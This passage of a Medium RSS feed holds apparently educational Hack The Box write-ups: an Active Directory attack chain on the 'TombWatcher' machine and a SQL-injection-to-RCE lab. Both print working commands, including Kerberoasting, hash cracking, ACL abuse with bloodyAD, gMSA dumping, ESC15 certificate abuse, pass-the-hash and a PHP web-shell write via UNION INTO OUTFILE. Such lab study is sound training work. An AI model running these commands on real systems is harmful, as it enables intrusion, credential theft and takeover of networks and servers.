penetration testing process, from start to finish, regardless of the network’s size or complexity, to achieve your assessment goals.</p><p><strong>Tips &amp; Tricks</strong>: Take notes on everything you learn. Remember the modules depend on each other.</p><p>Study file transfer. It links to all modules.</p><p>Before you start Active Directory learn what Active Directory is, how to use it, and understand it. Then move to the attacks.</p><p>Happy hacking.</p><p>My Notice: <a href="https://sedate-session-3ae.notion.site/Penetration-Testing-Methodology-1dd28247500f80fdb8efdabcbd222ab9">https://sedate-session-3ae.notion.site/Penetration-Testing-Methodology-1dd28247500f80fdb8efdabcbd222ab9</a></p><p><a href="https://sedate-session-3ae.notion.site/Bug-Hunter-Methodology-22828247500f80c089bcd1eedc18a539?pvs=74">https://sedate-session-3ae.notion.site/Bug-Hunter-Methodology-22828247500f80c089bcd1eedc18a539?pvs=74</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a060fd602543" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TombWatcher Machine HTB (Medium)]]></title>
            <link>https://modywz13.medium.com/tombwatcher-machine-htb-medium-91dd9f0a9d41?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/91dd9f0a9d41</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 15:50:49 GMT</pubDate>
            <atom:updated>2025-09-01T15:52:00.282Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nmap-Scan:</h3><pre>nmap -sC -sV 10.10.11.72 -Pn</pre><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 20:25 EEST<br>Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 0.80% done<br>Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 7.10% done; ETC: 20:25 (0:00:39 remaining)<br>Stats: 0:00:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 33.20% done; ETC: 20:25 (0:00:08 remaining)<br>Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 92.31% done; ETC: 20:25 (0:00:02 remaining)<br>Stats: 0:01:14 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 99.94% done; ETC: 20:26 (0:00:00 remaining)<br>Nmap scan report for tombwatcher.htb (10.10.11.72)<br>Host is up (0.14s latency).<br>Not shown: 987 filtered tcp ports (no-response)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>|_http-server-header: Microsoft-IIS/10.0<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-01 17:31:41Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2025-09-01T17:33:14+00:00; +6m20s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: 2025-09-01T17:33:14+00:00; +6m20s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>|_ssl-date: 2025-09-01T17:33:14+00:00; +6m20s from scanner time.<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC01.tombwatcher.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC01.tombwatcher.htb<br>| Not valid before: 2024-11-16T00:47:59<br>|_Not valid after:  2025-11-16T00:47:59<br>|_ssl-date: 2025-09-01T17:33:14+00:00; +6m20s from scanner time.<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2025-09-01T17:32:32<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>|_clock-skew: mean: 6m19s, deviation: 1s, median: 6m19s<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 99.42 seconds</pre><p>Now we get Domain Controller (DC01.tombwatcher.htb) and Domain (tombwatcher.htb)</p><p>Notice: Don’t forget to append Domain , Domain Controller at /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*3qWMJSjIiEEZGR5l0g68lg.png" /></figure><p>Creds==&gt; henry / H3nry_987TGV!</p><p>Dump all users:</p><pre>netexec ldap 10.10.11.72 -u henry -p H3nry_987TGV! --query &#39;(objectClass=person)&#39; &#39;sAMAccountName description info&#39;</pre><pre>└─# netexec ldap 10.10.11.72 -u henry -p &#39;H3nry_987TGV!&#39; --query &#39;(objectClass=person)&#39; &#39;sAMAccountName description info&#39;<br>LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)<br>LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! <br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Built-in account for administering the computer/domain                                                                                                                             <br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Administrator<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Guest,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Built-in account for guest access to the computer/domain                                                                                                                           <br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Guest<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=DC01,OU=Domain Controllers,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       DC01$<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=krbtgt,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             description          Key Distribution Center Service Account<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       krbtgt<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Henry,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Henry<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=Alfred,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       Alfred<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=sam,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       sam<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=john,CN=Users,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       john<br>LDAP        10.10.11.72     389    DC01             [+] Response for object: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb<br>LDAP        10.10.11.72     389    DC01             sAMAccountName       ansible_dev$</pre><p>Let’s start BloodHound tool</p><pre>bloodhound-python -u henry -p &#39;H3nry_987TGV!&#39; -d tombwatcher.htb -v -ns 10.10.11.72 -c all --zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4lv1iA6CStrQ_RA26G9Rw.png" /></figure><p>WriteSPN: You can do kerberoasting attack via <a href="https://github.com/ShutdownRepo/targetedKerberoast">targetedKerberoast</a> (<a href="https://github.com/ShutdownRepo/targetedKerberoast">https://github.com/ShutdownRepo/targetedKerberoast</a>)</p><pre>python3 targetedKerberoast.py -v -d &#39;domain.local&#39; -u &#39;controlledUser&#39; -p &#39;ItsPassword&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvbG3439TzHCohH0xj4RzA.png" /></figure><pre>hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt</pre><pre>hashcat -m 1300 alfredhash /usr/share/wordlist/rockyou.txt<br><br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes.....: 139921507<br>* Keyspace..: 14344385<br><br>$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$d31dd21913214cf0d8d59873271......*****<br><br>Session..........: hashcat<br>Status...........: Cracked</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AjPgkC0yBkGGwQvPPtAgAQ.png" /></figure><pre>bloodyAD --host &#39;10.10.11.72&#39; -d &#39;tombwatcher.htb&#39; -u alfred -p &#39;basketball&#39; add groupMember INFRASTRUCTURE alfred</pre><p>to append alfred in INFRASTRUCTURE Group</p><p>ACL (AddSelf) : It allows an object (like a user or computer account) to add <strong>itself</strong> as a member of a group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7V4JusT6M9_kpV9ORZBdTA.png" /></figure><p>ACL (ReadGMSAPassword) : only specific computers or services are allowed to retrieve the gMSA’s password.</p><p>(<a href="https://github.com/micahvandeusen/gMSADumper">https://github.com/micahvandeusen/gMSADumper</a>)</p><pre>python3 gMSADumper.py -u &#39;user&#39; -p &#39;password&#39; -d &#39;domain.local&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_sDgdZNyxH5yKduKDPmcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2STsHpQNwEwoaybjX3VL0w.png" /></figure><p>ACL (ForceChangePassword): you can reset the password of sam user via ansible_dev$</p><pre>bloodyAD --host &#39;10.10.11.72&#39; -d &#39;tombwatcher.htb&#39; -u &#39;ansible_dev$&#39;  -p &#39;:ecb4146b3f99e6bbf06ca896f504227c&#39; set password SAM &#39;Abc123456@&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3YFfXEhqPyT-qkhfihu2g.png" /></figure><p>ACL (WritOwner) : Ownership matters because the owner of an object can always modify its permissions, even if all other access is denied.</p><pre> bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u &#39;SAM&#39; -p &#39;Abc123456@&#39; set owner john sam</pre><p>Now you are the owner of john user</p><p>append ACL (GenericAll) ==&gt; <strong>GenericAll = Full Control</strong> on the object.</p><pre>bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u &#39;SAM&#39; -p &#39;Abc123456@&#39; add genericAll john sam</pre><p>Now you can reset the password of john user</p><pre>bloodyAD --host &#39;10.10.11.72&#39; -d &#39;tombwatcher.htb&#39;  -u &#39;SAM&#39; -p &#39;Abc123456@&#39; set password john &#39;Abc123456@&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQR8UFqQ6npoL9-7hC6abA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*qjkHjSXh9fwdqmbH-4-5TA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*TLEEQjwxkc2JGS0iVHMEMA.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TTaxAU6mSv27MCxzKONCkA.png" /></figure><p>Nothing inspiring</p><p>Let’s upload AD module to get more information: (<a href="https://github.com/samratashok/ADModule">https://github.com/samratashok/ADModule</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HG0y0OTLitzvdzKFqFMYGQ.png" /></figure><pre>*Evil-WinRM* PS C:\Users\john\Documents&gt; ls<br><br><br>    Directory: C:\Users\john\Documents<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>d-----         9/1/2025   3:09 PM                ADModule-master<br><br><br>*Evil-WinRM* PS C:\Users\john\Documents&gt; cd ADModule-master<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master&gt; ls<br><br><br>    Directory: C:\Users\john\Documents\ADModule-master<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>d-----         9/1/2025   3:09 PM                ActiveDirectory<br>d-----         9/1/2025   3:09 PM                img<br>-a----         1/1/2000  12:00 AM        1127936 Microsoft.ActiveDirectory.Management.dll<br>-a----         1/1/2000  12:00 AM           1485 README.md<br><br><br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master&gt; Import-Module .\Microsoft.ActiveDirectory.Management.dll<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master&gt; cd ActiveDirectory<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt; ls<br><br><br>    Directory: C:\Users\john\Documents\ADModule-master\ActiveDirectory<br><br><br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>d-----         9/1/2025   3:09 PM                en-US<br>-a----         1/1/2000  12:00 AM           5037 ActiveDirectory.Format.ps1xml<br>-a----         1/1/2000  12:00 AM          10738 ActiveDirectory.psd1<br>-a----         1/1/2000  12:00 AM           9098 ActiveDirectory.Types.ps1xml<br>-a----         1/1/2000  12:00 AM          33280 ActiveDirectoryPowerShellResources.dll<br><br><br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt; Import-Module .\ActiveDirectory.psd1<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt;  Get-ADObject -Filter &#39;isDeleted -eq $true&#39; -IncludeDeletedObjects<br><br><br>Deleted           : True<br>DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb<br>Name              : Deleted Objects<br>ObjectClass       : container<br>ObjectGUID        : 34509cb3-2b23-417b-8b98-13f0bd953319<br><br>Deleted           : True<br>DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb<br>Name              : cert_admin<br>                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3<br>ObjectClass       : user<br>ObjectGUID        : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3<br><br>Deleted           : True<br>DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb<br>Name              : cert_admin<br>                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358<br>ObjectClass       : user<br>ObjectGUID        : c1f1f0fe-df9c-494c-bf05-0679e181b358<br><br>Deleted           : True<br>DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb<br>Name              : cert_admin<br>                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf<br>ObjectClass       : user<br>ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf<br><br><br><br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt; </pre><p>Let’s show all deleted objects</p><p>now you can show cert_admin (search for this sAMAccountname)</p><p>Let’s enable cert_admin</p><pre>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt; Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt; Enable-ADAccount -Identity cert_admin<br>*Evil-WinRM* PS C:\Users\john\Documents\ADModule-master\ActiveDirectory&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7cJR-Y-78R5OzKfI7cPFA.png" /></figure><p>now you can reset the password of cert_admin</p><pre>bloodyAD --host &#39;10.10.11.72&#39; -d &#39;tombwatcher.htb&#39;  -u &#39;john&#39; -p &#39;Abc123456@&#39; set password cert_admin &#39;Abc123456@&#39; </pre><p>Now show all templates you can exploit for privilege escalation</p><pre>- certipy find -u cert_admin -p &quot;Abc123456@&quot; -dc-ip 10.10.11.72 -vulnerable<br>- cat 20250609023015_Certipy.txt</pre><pre><br>Certificate Authorities<br>  0<br>    CA Name                             : tombwatcher-CA-1<br>    DNS Name                            : DC01.tombwatcher.htb<br>    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb<br>    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC<br>    Certificate Validity Start          : 2024-11-16 00:47:48+00:00<br>    Certificate Validity End            : 2123-11-16 00:57:48+00:00<br>    Web Enrollment<br>      HTTP<br>        Enabled                         : False<br>      HTTPS<br>        Enabled                         : False<br>    User Specified SAN                  : Disabled<br>    Request Disposition                 : Issue<br>    Enforce Encryption for Requests     : Enabled<br>    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy<br>    Permissions<br>      Owner                             : TOMBWATCHER.HTB\Administrators<br>      Access Rights<br>        ManageCa                        : TOMBWATCHER.HTB\Administrators<br>                                          TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>        ManageCertificates              : TOMBWATCHER.HTB\Administrators<br>                                          TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>        Enroll                          : TOMBWATCHER.HTB\Authenticated Users<br>Certificate Templates<br>  0<br>    Template Name                       : WebServer<br>    Display Name                        : Web Server<br>    Certificate Authorities             : tombwatcher-CA-1<br>    Enabled                             : True<br>    Client Authentication               : False<br>    Enrollment Agent                    : False<br>    Any Purpose                         : False<br>    Enrollee Supplies Subject           : True<br>    Certificate Name Flag               : EnrolleeSuppliesSubject<br>    Extended Key Usage                  : Server Authentication<br>    Requires Manager Approval           : False<br>    Requires Key Archival               : False<br>    Authorized Signatures Required      : 0<br>    Schema Version                      : 1<br>    Validity Period                     : 2 years<br>    Renewal Period                      : 6 weeks<br>    Minimum RSA Key Length              : 2048<br>    Template Created                    : 2024-11-16T00:57:49+00:00<br>    Template Last Modified              : 2024-11-16T17:07:26+00:00<br>    Permissions<br>      Enrollment Permissions<br>        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>                                          TOMBWATCHER.HTB\cert_admin<br>      Object Control Permissions<br>        Owner                           : TOMBWATCHER.HTB\Enterprise Admins<br>        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins<br>                                          TOMBWATCHER.HTB\Enterprise Admins<br>                                          TOMBWATCHER.HTB\cert_admin<br>    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin<br>    [!] Vulnerabilities<br>      ESC15                             : Enrollee supplies subject and schema version is 1.<br>    [*] Remarks<br>      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.<br></pre><p>Now the template is vuln (ESC15)</p><p>Let’s exploit this vuln to privilege escalation</p><pre>┌──(root㉿kali)-[~/htb]<br>└─# certipy-ad req \<br>    -u &#39;cert_admin@tombwatcher.htb&#39; -p &#39;Abc123456@&#39; \ <br>    -dc-ip &#39;10.10.11.72&#39; -target &#39;DC01.tombwatcher.htb&#39; \<br>    -ca &#39;tombwatcher-CA-1&#39; -template &#39;WebServer&#39; \<br>    -application-policies &#39;Certificate Request Agent&#39;<br><br>Certipy v5.0.3 - by Oliver Lyak (ly4k)<br><br>[*] Requesting certificate via RPC<br>[*] Request ID is 5<br>[*] Successfully requested certificate<br>[*] Got certificate without identity<br>[*] Certificate has no object SID<br>[*] Try using -sid to set the object SID or see the wiki for more details<br>[*] Saving certificate and private key to &#39;cert_admin.pfx&#39;<br>[*] Wrote certificate and private key to &#39;cert_admin.pfx&#39;<br>                                                                                                                              <br>┌──(root㉿kali)-[~/htb]<br>└─# ls<br>cert_admin.pfx  gMSADumper<br>                                                                                                                              <br>┌──(root㉿kali)-[~/htb]<br>└─# certipy-ad req \<br>    -u &#39;cert_admin@tombwatcher.htb&#39; -p &#39;Abc123456@&#39; \ <br>    -dc-ip &#39;10.10.11.72&#39; -target &#39;DC01.tombwatcher.htb&#39; \<br>    -ca &#39;tombwatcher-CA-1&#39; -template &#39;User&#39; \<br>    -pfx &#39;cert_admin.pfx&#39; -on-behalf-of &#39;tombwatcher\Administrator&#39;<br>Certipy v5.0.3 - by Oliver Lyak (ly4k)<br><br>[*] Requesting certificate via RPC<br>[*] Request ID is 6<br>[*] Successfully requested certificate<br>[*] Got certificate with UPN &#39;Administrator@tombwatcher.htb&#39;<br>[*] Certificate object SID is &#39;S-1-5-21-1392491010-1358638721-2126982587-500&#39;<br>[*] Saving certificate and private key to &#39;administrator.pfx&#39;<br>[*] Wrote certificate and private key to &#39;administrator.pfx&#39;<br>                                                                                                                              <br>┌──(root㉿kali)-[~/htb]<br>└─# certipy-ad auth -pfx &#39;administrator.pfx&#39; -dc-ip &#39;10.10.11.72&#39;<br>Certipy v5.0.3 - by Oliver Lyak (ly4k)<br><br>[*] Certificate identities:<br>[*]     SAN UPN: &#39;Administrator@tombwatcher.htb&#39;<br>[*]     Security Extension SID: &#39;S-1-5-21-1392491010-1358638721-2126982587-500&#39;<br>[*] Using principal: &#39;administrator@tombwatcher.htb&#39;<br>[*] Trying to get TGT...<br>[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)<br>[-] Use -debug to print a stacktrace<br>[-] See the wiki for more information<br>                                                                                                                              <br>┌──(root㉿kali)-[~/htb]<br>└─# certipy-ad auth -pfx &#39;administrator.pfx&#39; -dc-ip &#39;10.10.11.72&#39;<br>Certipy v5.0.3 - by Oliver Lyak (ly4k)<br><br>[*] Certificate identities:<br>[*]     SAN UPN: &#39;Administrator@tombwatcher.htb&#39;<br>[*]     Security Extension SID: &#39;S-1-5-21-1392491010-1358638721-2126982587-500&#39;<br>[*] Using principal: &#39;administrator@tombwatcher.htb&#39;<br>[*] Trying to get TGT...<br>[*] Got TGT<br>[*] Saving credential cache to &#39;administrator.ccache&#39;<br>[*] Wrote credential cache to &#39;administrator.ccache&#39;<br>[*] Trying to retrieve NT hash for &#39;administrator&#39;<br>[*] Got hash for &#39;administrator@tombwatcher.htb&#39;: aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d******************</pre><pre>evil-winrm -i 10.10.11.72 -u &#39;administrator&#39; -H &#39;f61db423bebe3328d3********&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ppwgGNlsQqVWnREYVVV6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PeO7EXLjyVgRXWv8KgNKTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*MHiX7OsEsdO0iinVanBuEw.gif" /></figure><p><a href="https://www.linkedin.com/in/mohammed-goma-47a796355/">https://www.linkedin.com/in/mohammed-goma-47a796355/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91dd9f0a9d41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection To RCE (HTB LAB)]]></title>
            <link>https://modywz13.medium.com/sql-injection-to-rce-htb-lab-71dad35394aa?source=rss-859b86f96377------2</link>
            <guid isPermaLink="false">https://medium.com/p/71dad35394aa</guid>
            <dc:creator><![CDATA[0xModyWZ13]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 19:39:52 GMT</pubDate>
            <atom:updated>2025-07-27T19:39:52.930Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL Injection (SQLi) is a critical web security vulnerability that allows attackers to manipulate SQL queries and gain unauthorized access to databases. This attack can lead to data breaches, unauthorized data modification, and even server compromise. In this blog, I will cover SQL Injection, its various forms, attack techniques, and strategies to prevent such exploits.</p><p>Remote Code Execution (RCE) is a severe security vulnerability that allows attackers to run arbitrary code on a target server over a network</p><h3>Prerequisites for RCE</h3><ol><li>You need to have admin/root privileges</li></ol><p>2. OR have FILE permissions — this privilege allows you to write files that can be executed</p><p>— — —</p><p># The attack can be performed in two ways:</p><ol><li>Using sqlmap:</li></ol><ul><li>First check if you’re operating as admin with --is-dba option</li><li>If it returns true, then you&#39;re accessing as admin</li><li>You can then open a shell using the --os-shell option</li></ul><p>2. Writing a custom payload that executes the desired command</p><p><strong>Let’s move on to the second approach where we work manually by injecting a simple payload like: </strong>admin’ or ‘1’=’1&#39; — -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CiceNE33a3QVA2wNaogTKw.png" /></figure><p>After discovering the vulnerable search input field, we need to verify if we have the FILE privilege required to write a web shell. Here&#39;s how to check:</p><h3>Step 1: Verify FILE Privileges</h3><p>Use this payload to check your database user’s privileges: ‘ <strong>UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges — -</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KAY3a9JnREsFsm92FwXRrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*yHggYFEAuzA4rNY7lXIEdQ.png" /></figure><h3>SQL Injection to RCE Exploitation Steps</h3><h3>Step 1: Enumerate Column Count</h3><p>First, we need to determine the number of columns in the vulnerable table using:</p><pre>&#39; order by 1-- -</pre><p>We incrementally increase the number until we get an error:</p><pre>&#39; order by 2-- -<br>&#39; order by 3-- -<br>...<br>&#39; order by 6-- -  # This fails, indicating there are only 5 columns</pre><h3>Step 2: Craft the File Write Payload</h3><p>Now that we know there are 5 columns, we can craft our RCE payload:</p><p><strong>Note: This payload you can use it in 5 columns only</strong></p><pre>cn&#39; union select &quot;&quot;,&#39;&lt;?php system($_REQUEST[0]); ?&gt;&#39;, &quot;&quot;, &quot;&quot;, &quot;&quot; into outfile &#39;/var/www/html/shell.php&#39;-- -</pre><p>This payload:</p><ol><li>Uses union select to match the 5-column structure</li><li>Places our PHP web shell in the second column</li><li>Writes to a web-accessible location (/var/www/html/)</li><li>Uses empty strings (&quot;&quot;) for the other columns</li></ol><h3>Step 3: Execute Commands</h3><p>After successful injection, access the shell:</p><pre>http://target.com/shell.php?0=whoami</pre><p>Now you can find a flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*S1Ot5yG_cQ1rpaobOHSdZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZJiEOOR9Ksz3yV270bStQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71dad35394aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>